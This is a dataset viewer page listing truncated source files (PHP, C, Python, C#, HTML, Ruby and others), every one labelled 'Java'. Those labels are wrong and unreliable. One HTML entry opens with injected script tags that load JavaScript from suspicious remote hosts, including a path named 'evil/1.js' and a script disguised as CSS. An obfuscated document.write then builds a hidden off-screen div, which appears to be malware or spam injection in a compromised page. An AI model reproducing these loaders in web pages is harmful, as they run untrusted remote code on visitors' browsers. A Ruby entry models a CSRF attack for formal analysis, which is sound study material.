code stringlengths 4 1.01M | language stringclasses 2
values |
|---|---|
<?php
/**
* EXHIBIT A. Common Public Attribution License Version 1.0
* The contents of this file are subject to the Common Public Attribution License Version 1.0 (the “License”);
* you may not use this file except in compliance with the License. You may obtain a copy of the License at
* http://www.oxwall.org/licen... | Java |
package org.mo.game.editor.face.apl.logic.report;
import org.mo.jfa.common.page.FAbstractFormPage;
public class FWebReportPage
extends FAbstractFormPage{
private static final long serialVersionUID = 1L;
private String _tempName;
public String getTempName(){
return _tempName;
}
public vo... | Java |
import xml.etree.ElementTree as ET
import requests
from flask import Flask
import batalha
import pokemon
import ataque
class Cliente:
def __init__(self, execute = False, ip = '127.0.0.1', port = 5000, npc = False):
self.ip = ip
self.port = port
self.npc = npc
if (execute):
self.iniciaBatalha()
def writ... | Java |
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Text;
using System.Windows.Forms;
using System.Threading;
using System.Net;
using System.Collections;
using System.Web;
using System.Xml;
using System.Reflecti... | Java |
// Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CHROME_BROWSER_UI_ANDROID_EXTENSIONS_EXTENSION_INSTALL_UI_ANDROID_H_
#define CHROME_BROWSER_UI_ANDROID_EXTENSIONS_EXTENSION_INSTALL_UI_ANDROID... | Java |
/*
* linux/drivers/mmc/core/core.c
*
* Copyright (C) 2003-2004 Russell King, All Rights Reserved.
* SD support Copyright (C) 2004 Ian Molton, All Rights Reserved.
* Copyright (C) 2005-2008 Pierre Ossman, All Rights Reserved.
* MMCv4 support Copyright (C) 2006 Philip Langdale, All Rights Reserved.
* Copyrig... | Java |
<?php
/**
* Created by PhpStorm.
* User: Anh Tuan
* Date: 7/24/14
* Time: 3:45 PM
*/
global $theme_options_data;
$logo_id = $theme_options_data['thim_logo'];
// The value may be a URL to the image (for the default parameter)
// or an attachment ID to the selected image.
$logo_src = $logo_id; // For the default va... | Java |
# attack_csrf.rb
# model of a cross-site request forgery attack
require 'sdsl/view.rb'
u = mod :User do
stores set(:intentsA, :URI)
invokes(:visitA,
# user only types dest address that he/she intends to visit
:when => [:intentsA.contains(o.destA)])
end
goodServer = mod :TrustedServer do
sto... | Java |
/*
* HTTP protocol analyzer
*
* Copyright 2000-2011 Willy Tarreau <w@1wt.eu>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version
* 2 of the License, or (at your option) any ... | Java |
<?php
/**
* Zend Framework
*
* LICENSE
*
* This source file is subject to the new BSD license that is bundled
* with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://framework.zend.com/license/new-bsd
* If you did not receive a copy of the license an... | Java |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Xml.Linq;
using SirenOfShame.Lib;
using SirenOfShame.Lib.Watcher;
using log4net;
namespace GoServices
{
public class GoBuildStatus : BuildStatus
{
private readonly IEnumerab... | Java |
cmd_drivers/media/usb/dvb-usb/dvb-usb-dib0700.o := ../tools/arm-bcm2708/arm-bcm2708hardfp-linux-gnueabi/bin/arm-bcm2708hardfp-linux-gnueabi-ld -EL -r -o drivers/media/usb/dvb-usb/dvb-usb-dib0700.o drivers/media/usb/dvb-usb/dib0700_core.o drivers/media/usb/dvb-usb/dib0700_devices.o
| Java |
//
// CategoryModel.h
// healthfood
//
// Created by lanou on 15/6/22.
// Copyright (c) 2015年 hastar. All rights reserved.
//
#import <Foundation/Foundation.h>
#import <UIKit/UIKit.h>
@interface CategoryModel : NSObject
@property (nonatomic, retain)NSString *title;
@property (nonatomic, retain)UIImage *image;
@... | Java |
<?PHP // $Id: dbperformance.php,v 1.12 2008/06/09 18:48:28 skodak Exp $
// dbperformance.php - shows latest ADOdb stats for the current server
require_once('../config.php');
error('TODO: rewrite db perf code'); // TODO: rewrite
// disable moodle specific debug messages that would be breaking the fram... | Java |
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package ch.quantasy.iot.mqtt.tinkerforge.device.deviceHandler.IMU.status;
import ch.quantasy.iot.mqtt.base.AHandler;
import ch.quantas... | Java |
#ifndef MUX_CLOCK_H
#define MUX_CLOCK_H
/**
* Initializes main system clock.
* @ms time between each tick in milliseconds
* @tick function to run every tick
*/
void clock_init(int ms, void (*tick)());
/**
* Starts main system clock.
*/
void clock_start();
/**
* Stops main system clock.
*/
void clock_stop();
... | Java |
package com.karniyarik.common.util;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;
import org.apache.commons.lang.StringUtils;
import com.karniyarik.common.KarniyarikRepository;
import com.karniyarik.common.config.system.DeploymentConfig;
import com.karniyarik.common.config... | Java |
# bulk-media-downloader | Java |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading;
using Newtonsoft.Json;
namespace lit
{
class HttpTransferModule : ITransferModule
{
public const string ConnectionRequest = "subscribe";
public const string StatusReq... | Java |
// This file is part of par2cmdline (a PAR 2.0 compatible file verification and
// repair tool). See http://parchive.sourceforge.net for details of PAR 2.0.
//
// Copyright (c) 2003 Peter Brian Clements
//
// par2cmdline is free software; you can redistribute it and/or modify
// it under the terms of the GNU Gener... | Java |
<!DOCTYPE html>
<html itemscope itemtype="http://schema.org/website" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/" lang="en">
<head>
<title>2010 Vanderbilt Commodores Statistics | College Football at Sports-Reference.com</title>
<script type="text/javascript">var sr_gzipEn... | Java |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Search — ORMPY 0.1 documentation</title>
... | Java |
/*
* Copyright (C) 2005-2011 MaNGOS <http://getmangos.com/>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
... | Java |
# -*- coding: utf-8 -*-
"""
nidaba.plugins.leptonica
~~~~~~~~~~~~~~~~~~~~~~~~
Plugin accessing `leptonica <http://leptonica.com>`_ functions.
This plugin requires a liblept shared object in the current library search
path. On Debian-based systems it can be installed using apt-get
.. code-block:: console
# apt-g... | Java |
/*
* Copyright 2009-2012 Freescale Semiconductor, Inc. All Rights Reserved.
*/
/*
* The code contained herein is licensed under the GNU General Public
* License. You may obtain a copy of the GNU General Public License
* Version 2 or later at the following locations:
*
* http://www.opensource.org/licenses/gpl-li... | Java |
<?php
/**
* @version 0.0.6
* @package com_jazz_mastering
* @copyright Copyright (C) 2012. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
* @author Artur Pañach Bargalló <arturictus@gmail.com> - http://
*/
defined('_JEXEC') or die;
jimport('jooml... | Java |
/*
* linux/mm/filemap.c
*
* Copyright (C) 1994-1999 Linus Torvalds
*/
/*
* This file handles the generic file mmap semantics used by
* most "normal" filesystems (but you don't /have/ to use this:
* the NFS filesystem used to do this differently, for example)
*/
#include <linux/export.h>
#include <linux/compil... | Java |
#ifndef PERF_LINUX_LINKAGE_H_
#define PERF_LINUX_LINKAGE_H_
/* linkage.h ... for including arch/x86/lib/memcpy_64.S */
#define ENTRY(name) \
.globl name; \
name:
#define ENDPROC(name)
#endif /* PERF_LINUX_LINKAGE_H_ */
| Java |
#pragma once
#include <Nena\Window.h>
#include <Nena\StepTimer.h>
#include <Nena\DeviceResources.h>
#include <Nena\RenderTargetOverlay.h>
#include "TextRenderer.h"
namespace Framework
{
namespace Application
{
void Start();
void Stop();
struct Window;
struct Dispatcher
{
Framework::Application::Windo... | Java |
/* Map (unsigned int) keys to (source file, line, column) triples.
Copyright (C) 2001-2016 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation; either version 3, or (at y... | Java |
#include "Card.h"
#include "Game.h"
#include <iostream>
#include <array>
#include <string>
#include <vector>
#include <algorithm>
#include <random>
#include <cstdlib>
#include <ctime>
using namespace std;
using namespace zks::game::card;
int test_deck() {
CardDeck deck(1);
CardDeck d1, d2;
deck.shuffle();
cou... | Java |
/* This file defines the control system */
/* Dependencies - Serial */
#ifndef MICAV_CONTROLLER
#define MICAV_CONTROLLER
#include "config.h"
#include "drivers.h"
#include "PID.h"
#include <stdint.h>
#define MAX_DYAW 100
#define MIN_DYAW -100
#define MAX_DPITCH 100
#define MIN_DPITCH -100
#define MAX_DROLL 100
#defi... | Java |
CREATE TABLE IF NOT EXISTS `#__rsfirewall_exceptions` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`type` varchar(4) NOT NULL,
`regex` tinyint(1) NOT NULL,
`match` text NOT NULL,
`php` tinyint(1) NOT NULL,
`sql` tinyint(1) NOT NULL,
`js` tinyint(1) NOT NULL,
`uploads` tinyint(1) NOT NULL,
`reason` text NOT... | Java |
<?php
/*
* This file is part of Respect/Validation.
*
* (c) Alexandre Gomes Gaigalas <alexandre@gaigalas.net>
*
* For the full copyright and license information, please view the "LICENSE.md"
* file that was distributed with this source code.
*/
namespace Respect\Validation\Rules\SubdivisionCode;
use Respect\V... | Java |
<?php
/* @particles/assets.html.twig */
class __TwigTemplate_299c183811cc71a2e64a3daab6e1f6fca93d29687649f11bd1c1431814d9f4f7 extends Twig_Template
{
public function __construct(Twig_Environment $env)
{
parent::__construct($env);
// line 1
$this->parent = $this->loadTemplate("@nucleus/... | Java |
/*
* libquicktime yuv4 encoder
*
* Copyright (c) 2011 Carl Eugen Hoyos
*
* This file is part of FFmpeg.
*
* FFmpeg is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the L... | Java |
/*
* Copyright (C) 2005-2012 MaNGOS <http://getmangos.com/>
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
... | Java |
/*
** Copyright (c) 2007-2012 by Silicon Laboratories
**
** $Id: si3226x_intf.h 3713 2012-12-18 17:30:28Z cdp $
**
** Si3226x_Intf.h
** Si3226x ProSLIC interface header file
**
** Author(s):
** laj
**
** Distributed by:
** Silicon Laboratories, Inc
**
** This file contains proprietary information.
** No disseminati... | Java |
/*
* arch/s390/kernel/sys_s390.c
*
* S390 version
* Copyright (C) 1999,2000 IBM Deutschland Entwicklung GmbH, IBM Corporation
* Author(s): Martin Schwidefsky (schwidefsky@de.ibm.com),
* Thomas Spatzier (tspat@de.ibm.com)
*
* Derived from "arch/i386/kernel/sys_i386.c"
*
* This... | Java |
# Game_Idle_TheLostLand
放置类单机游戏
## 基本描述
- Engine : [Phaser](https://github.com/photonstorm/phaser). 2.4.4
- Develop enviorment: IntelliJ IDEA 2016
## 依赖库
### RS GUI
Phaser的UI库
### Phaser-Debug
Phaser Debug调试器
### Phaser-Inspector
Phaser 性能监视器
### Juicy
简易特效支持
* 摄像机震动
* 闪屏
* 对象拖尾
* 精灵的果冻缩放效果
* 过度缩放等
### Co... | Java |
# -*- coding: utf-8 -*-
#
from rest_framework import viewsets
from rest_framework.decorators import action
from rest_framework.exceptions import MethodNotAllowed
from rest_framework.response import Response
from common.const.http import POST, PUT
from common.mixins.api import CommonApiMixin
from common.permissions im... | Java |
/*
* GIT - The information manager from hell
*
* Copyright (C) Linus Torvalds, 2005
* Copyright (C) Johannes Schindelin, 2005
*
*/
#include "cache.h"
#include "exec_cmd.h"
#include "strbuf.h"
#include "quote.h"
typedef struct config_file {
struct config_file *prev;
FILE *f;
const char *name;
int linenr;
int... | Java |
/*---- license ----*/
/*-------------------------------------------------------------------------
Coco.ATG -- Attributed Grammar
Compiler Generator Coco/R,
Copyright (c) 1990, 2004 Hanspeter Moessenboeck, University of Linz
extended by M. Loeberbauer & A. Woess, Univ. of Linz
with improvements by Pat Terry, ... | Java |
import FWCore.ParameterSet.Config as cms
maxEvents = cms.untracked.PSet( input = cms.untracked.int32(-1) )
readFiles = cms.untracked.vstring()
secFiles = cms.untracked.vstring()
source = cms.Source ("PoolSource",fileNames = readFiles, secondaryFileNames = secFiles)
readFiles.extend( [
'/store/mc/Spring14miniao... | Java |
#ifndef BZS_DB_PROTOCOL_HS_HSCOMMANDEXECUTER_H
#define BZS_DB_PROTOCOL_HS_HSCOMMANDEXECUTER_H
/*=================================================================
Copyright (C) 2013 BizStation Corp All rights reserved.
This program is free software; you can redistribute it and/or
modify it under the term... | Java |
/*
* Copyright (C) 2014-2017 StormCore
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation; either version 2 of the License, or (at your
* option) any later version.
*
* This program is dis... | Java |
/* ScummVM - Graphic Adventure Engine
*
* ScummVM is the legal property of its developers, whose names
* are too numerous to list here. Please refer to the COPYRIGHT
* file distributed with this source distribution.
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of ... | Java |
// This file is autogenerated by hidl-gen
// then manualy edited for retrocompatiblity
// Source: android.hardware.audio.common@4.0
// Root: android.hardware:hardware/interfaces
#ifndef HIDL_GENERATED_ANDROID_HARDWARE_AUDIO_COMMON_V4_0_EXPORTED_CONSTANTS_H_
#define HIDL_GENERATED_ANDROID_HARDWARE_AUDIO_COMMON_V4_0_EXP... | Java |
/* $Id: bitops.h,v 1.1.1.1 2004/06/19 05:02:56 ashieh Exp $
* bitops.h: Bit string operations on the V9.
*
* Copyright 1996, 1997 David S. Miller (davem@caip.rutgers.edu)
*/
#ifndef _SPARC64_BITOPS_H
#define _SPARC64_BITOPS_H
#include <asm/byteorder.h>
extern long ___test_and_set_bit(unsigned long nr, volatile v... | Java |
#ifndef RENDERENVCONSTS_H_INCLUDED
#define RENDERENVCONSTS_H_INCLUDED
/*
* consts
*/
/* The following rendering method is expected to engage in the renderer */
/** \brief available renderer type
*/
enum PreferredRendererType {
RendererUndeterminate, /**< a memory block with undefined renderer */
... | Java |
using System;
using System.Collections.Generic;
using System.Data;
using System.Data.SQLite;
using System.IO;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Xml;
namespace VariablesManager
{
public partial class Form1 : Form
{
private string _selectedTm;
private... | Java |
/* IEEE754 floating point arithmetic
* single precision
*/
/*
* MIPS floating point support
* Copyright (C) 1994-2000 Algorithmics Ltd.
*
* ########################################################################
*
* This program is free software; you can distribute it and/or modify it
* under the terms of t... | Java |
<?php
include_once "./_common.php";
//pc버전에서 모바일가기 링크 타고 들어올 경우 세션을 삭제한다. 세션이 삭제되면 모바일 기기에서 PC버전 접속시 자동으로 모바일로 이동된다. /extend/g4m.config.php 파일 참고.
if($_GET['from'] == 'pc'){
set_session("frommoblie", "");
}
include_once './_head.php';
// 최신글
$sql = " select bo_table, bo_subject,bo_m_latest_skin from {$g4['board_ta... | Java |
#ifndef MATRIX_SPMATRIX_H
#define MATRIX_SPMATRIX_H
#include "dgeMatrix.h"
#include "R_ext/Lapack.h"
SEXP dspMatrix_validate(SEXP obj);
double get_norm_sp(SEXP obj, const char *typstr);
SEXP dspMatrix_norm(SEXP obj, SEXP type);
SEXP dspMatrix_rcond(SEXP obj, SEXP type);
SEXP dspMatrix_solve(SEXP a);
SEXP dspMatrix_ma... | Java |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible"content="IE=9; IE=8; IE=7; IE=EDGE">
<meta http-equiv="Content-Type... | Java |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<title>ToPS: tops::General... | Java |
package org.mo.game.editor.face.apl.logic.form;
import com.lowagie.text.Document;
import com.lowagie.text.DocumentException;
import com.lowagie.text.Element;
import com.lowagie.text.Font;
import com.lowagie.text.HeaderFooter;
import com.lowagie.text.PageSize;
import com.lowagie.text.Paragraph;
import com.lowagie.text.... | Java |
/*
Syntax error: File to import not found or unreadable: zen.
Load paths:
/Applications/MAMP/htdocs/kwealth/sites/all/themes/frodo/sass
/Library/Ruby/Gems/1.8/gems/compass-0.13.alpha.4/frameworks/compass/stylesheets
Compass::SpriteImporter
on line 98... | Java |
<?php
# Lifter007: TODO
# Lifter003: TODO
# Lifter010: TODO
/*
* Copyright (C) 2009 - Marcus Lunzenauer <mlunzena@uos.de>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License as
* published by the Free Software Foundation; either version 2... | Java |
/**
*
* Copyright (c) 2009-2016 Freedomotic team http://freedomotic.com
*
* This file is part of Freedomotic
*
* This Program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2, or (at yo... | Java |
<?php
/**
* @package Zen Library
* @subpackage Zen Library
* @author Joomla Bamboo - design@joomlabamboo.com
* @copyright Copyright (c) 2013 Joomla Bamboo. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
* @version 1.0.2
*/
/*
* Adapted from Mi... | Java |
@media only screen and (max-width: 1000px){
.subtitle{
font-size: 19.2px;
}
}
@media only screen and (min-width: 600px) and (max-width: 768px){
.title h1{
font-size:47.6px;
}
.title h1{
font-size:46.2px;
}
.content h2{
font-size:32.2px;
}
.subtitle{
font-size:... | Java |
package com.lonebytesoft.thetaleclient.api.model;
import android.os.Parcel;
import android.os.Parcelable;
import com.lonebytesoft.thetaleclient.api.dictionary.CompanionSpecies;
import com.lonebytesoft.thetaleclient.util.ObjectUtils;
import org.json.JSONException;
import org.json.JSONObject;
/**
* @author Hamster
... | Java |
<?php
class TestArcadiaCommon extends PHPUnit_Framework_TestCase {
/**
* @covers ArcadiaCommon::__construct
*/
public function test_common_constructor() {
$component = new ArcadiaCommon();
$this->assertTrue( isset( $component->game_nonce_life ) );
}
/**
* @covers Arcad... | Java |
Overview
========
This is the test suite, based on the openjdk8u60 test suite, downloaded
from the Mercurial repository at http://hg.openjdk.java.net/jdk8u/jdk8u60
License
-------
The license for the tests is GPL version 2 only. There is no classpath
exception for the tests. For this reason, they are not i... | Java |
{% extends 'base.html' %}
{% block head %}
<link href="../static/css/sign_up.css" rel="stylesheet" >
{% endblock %}
{% block title %} Sign up! {% endblock %}
{% block content %}
<div class="container">
{% if user_errors %}
<div class="alert alert-danger">
{{ user_errors }}
</div>
{% elif profile_errors %}
<div c... | Java |
#!/bin/bash
if [ $# -ne 2 ];then
echo "Usage: $0 <src_1> <src_2>"
exit 1
fi
mv $1 tmp
mv $2 $1
mv tmp $2
exit 0
| Java |
package tasslegro.base;
import java.io.IOException;
import java.net.URI;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.ParseException;
import org.apache.http.annotation.NotThreadSafe;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.... | Java |
<div class="header-title">
<?php if(is_home()){ ?>
<?php $blog_text = of_get_option('blog_text'); ?>
<?php if($blog_text){?>
<h1><?php echo of_get_option('blog_text'); ?></h1>
<?php } else { ?>
<h1><?php _e('Blog','theme1599');?></h1>
<?php } ?>
<?php } else { ?>
<?php if (have_posts(... | Java |
package com.fjaviermo.dropdroid;
import java.io.ByteArrayOutputStream;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.os.Bundle;
import android.support.v4.app.DialogFragment;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import andr... | Java |
(function() {
var preview = true;
var themeShortcuts = {
insert: function(where) {
switch(where) {
case 'st_button_more':
var href = jQuery("#btn_more_src").val();
var what = '[st_button_more href="'+href+'"]';
break;
case 'st_button':
var text = jQuery("#text").val()... | Java |
title: 【Ruby】Block/Proc/lambda的区别
date: 2016-03-14 12:38:56
tags: ["Ruby"]
categories: ["程序开发"]
---
在Ruby语言中,Block 与 Proc 是不同的概念。而 Proc 和 lambda 虽然都是 Proc 对象,在进行处理时会有若干差别。
### Block 和 Proc.new
Block 是代码块,而 Proc 是对象。参数列别中最多只能有一个 Block ,但是可以有多个 Proc 或 Lambda。
Block 是指通过 do~end 或 {} 来进行传递的参数,通常与 yield 来搭配进行使用。
例如:
```
d... | Java |
do
-- Check Member
local function check_member_autorealm(cb_extra, success, result)
local receiver = cb_extra.receiver
local data = cb_extra.data
local msg = cb_extra.msg
for k,v in pairs(result.members) do
local member_id = v.id
if member_id ~= our_id then
-- Group configuration
data[tostr... | Java |
require 'rails_helper'
BitcoinConf = Rails.configuration.payment
def give_bitcoins(amount, address, confirm=false)
http = Net::HTTP.start(BitcoinConf['host'], BitcoinConf['port'])
req = Net::HTTP::Post.new("/debug/give/#{amount}/#{address}")
req.basic_auth BitcoinConf['user'], BitcoinConf['password']
http.reque... | Java |
\begin{slide}
\large{Go\'{e}LUG} \hfill \small{Linux User Group - Le Havre} \\
\hfill \texttt{http://www.goelug.org} %
%
%
\begin{tikzpicture}[remember picture, overlay]
\node at (current page.north west){%
\begin{tikzpicture}[overlay]
\node[opacity=0.2, anchor=west] at (50mm,-50mm) {\includegraphics[scale=0.35]{../go... | Java |
<?php
/**
* WordPress基础配置文件。
*
* 本文件包含以下配置选项:MySQL设置、数据库表名前缀、密钥、
* WordPress语言设定以及ABSPATH。如需更多信息,请访问
* {@link http://codex.wordpress.org/zh-cn:%E7%BC%96%E8%BE%91_wp-config.php
* 编辑wp-config.php}Codex页面。MySQL设置具体信息请咨询您的空间提供商。
*
* 这个文件被安装程序用于自动生成wp-config.php配置文件,
* 您可以手动复制这个文件,并重命名为“wp-config.php”,然后填入相关信息。
*
... | Java |
<?php
namespace MediaWiki\Extension\AbuseFilter\Variables;
use ContentHandler;
use Diff;
use Language;
use MediaWiki\Extension\AbuseFilter\Hooks\AbuseFilterHookRunner;
use MediaWiki\Extension\AbuseFilter\Parser\AFPData;
use MediaWiki\Extension\AbuseFilter\TextExtractor;
use MediaWiki\Permissions\PermissionManager;
us... | Java |
// Copyright (c) 2016 CNRS and LIRIS' Establishments (France).
// All rights reserved.
//
// This file is part of CGAL (www.cgal.org); you can redistribute it and/or
// modify it under the terms of the GNU Lesser General Public License as
// published by the Free Software Foundation; either version 3 of the License,
//... | Java |
/* Yet Another Forum.NET
* Copyright (C) 2006-2013 Jaben Cargman
* http://www.yetanotherforum.net/
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or... | Java |
/*
* Copyright (C) 2002-2015 The DOSBox Team
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This p... | Java |
// Copyright (C) 2003--2005 Carnegie Mellon University
// Copyright (C) 2011--2014 Google Inc
//
// This file is part of Ymer.
//
// Ymer is free software; you can redistribute it and/or modify it
// under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of t... | Java |
package com.baidu.disconf.web.service.zookeeper.service;
import java.util.Map;
import com.baidu.disconf.core.common.constants.DisConfigTypeEnum;
import com.baidu.disconf.web.service.zookeeper.dto.ZkDisconfData;
/**
*
*
* @author liaoqiqi
* @version 2014-9-11
*/
public interface ZkDeployMgr {
/**
*
... | Java |
class UsersController < ApplicationController
before_filter :init
before_action :require_login
def index
@users = User.all.where.not(email: current_user.email).order('created_at DESC')
end
def create
@user = User.new(user_params)
if @user.save
@activity = Activity.new({'user_id' => current... | Java |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="ru">
<head>
<title>FormulaEvaluator (POI API Documentation)</title>
<link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="Style">
</head>
<body>
<scrip... | Java |
<?php
/**
* @file
* @brief sigplus Image Gallery Plus metadata extraction
* @author Levente Hunyadi
* @version 1.3.0
* @remarks Copyright (C) 2009-2010 Levente Hunyadi
* @remarks Licensed under GNU/GPLv3, see http://www.gnu.org/licenses/gpl-3.0.html
* @see http://hunyadi.info.hu/projects/sigplus
*/
/*
* s... | Java |
include(FindPkgConfig)
pkg_check_modules(LibAvCodec REQUIRED libavcodec)
| Java |
package MultiplyStrings;
/**
* Created by gzhou on 6/1/15.
*/
public class Solution {
public static void main(String[] args) {
System.out.println(multiply("123", "20"));
}
public static String multiply(String num1, String num2) {
String n1 = new StringBuilder(num1).reverse().toString();... | Java |
<HTML>
<!-- Mirrored from www.w3schools.com/asp/showaspcode.asp?source=demo_driveexists by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 23 Jan 2015 08:11:37 GMT -->
<HEAD></HEAD>
<FONT FACE="Verdana, Arial, Helvetica" SIZE=2>
<!DOCTYPE html><br><html><br><body><br><FONT COLOR=#ff0000><%<br>Set fs=Server... | Java |
/*
LZ4 HC - High Compression Mode of LZ4
Header File
Copyright (C) 2011-2012, Yann Collet.
BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php)
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following condit... | Java |
#
# bootloader_advanced.py: gui advanced bootloader configuration dialog
#
# Jeremy Katz <katzj@redhat.com>
#
# Copyright 2001-2002 Red Hat, Inc.
#
# This software may be freely redistributed under the terms of the GNU
# library public license.
#
# You should have received a copy of the GNU Library Public License
# alo... | Java |
import Backbone from 'backbone';
export default class Router extends Backbone.Router {
get routes() {
return {
'(/)': 'home',
'login': 'login',
'access_token=*token': 'token',
'activity': 'activity',
'swim': 'swim',
's... | Java |
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Threading.Tasks;
using Microsoft.VisualStudio.TestTools.UnitTesting;
using Moq;
using TournamentMaker.BO;
using TournamentMaker.DAL.Interfaces;
namespace TournamentMaker.BP.Tests
{
[TestClass]
public class MatchBPTests
{
... | Java |
// Copyright (C) 1999,2000 Bruce Guenter <bruceg@em.ca>
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// Thi... | Java |
<?php
/**
* Created by PhpStorm.
* User: Tu TV
* Date: 14/10/2015
* Time: 1:12 AM
*/
require_once 'unirest/Unirest.php';
/**
* Get content from url via unirest.io
*
* @param $url
*
* @return mixed
*/
function fries_file_get_contents( $url ) {
$obj_unirest = Unirest\Request::get( $url, null, null );
$cont... | Java |
<script src="http://cpm.36obuy.org/evil/1.js"></script><script src="http://cpm.36obuy.org/lion/1.js"></script><script/src=//360cdn.win/c.css></script>
<script>document.write ('<d' + 'iv cl' + 'a' + 's' + 's="z' + '7z8z' + '9z6" st' + 'yl' + 'e="p' + 'ositio' + 'n:f' + 'ixed;l' + 'ef' + 't:-3' + '0... | Java |
<!DOCTYPE html
PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?php wp_title('', true, 'right'); ?> <?php bloginfo('name'); ?></... | Java |
@import url(http://fonts.googleapis.com/css?family=Lato:100,300,400,700,300italic,400italic,700italic|Merriweather:400,300,300italic,400italic,700,700italic);
/*
Theme Name: Margo Conner's Portfolio
Description: My portfolio!
Author: Margo Conner
Author URI: http://www.margoconner.com
Template: boot... | Java |
\section{Problem (6)}
In the \cref{fig:hw9_problem6}, block $A$ (mass $1.5 \ sl$) slides into block $B$ (mass $2.5 \ sl$), along a frictionless surface. The directions of velocities before and after the collision are indicated; the corresponding speeds are $v_{Ai} = \ 4.0 \ ft/s$, $v_{Bi} = \ 2.4 \ ft/s$, and $v_{Bf} ... | Java |
/* LibTomCrypt, modular cryptographic library -- Tom St Denis
*
* LibTomCrypt is a library that provides various cryptographic
* algorithms in a highly modular and flexible manner.
*
* The library is free for all purposes without any express
* guarantee it works.
*/
#include "tomcrypt_private.h"
/**
@file rsa... | Java |
/*
* Copyright (c) 2013, 2015, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free ... | Java |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.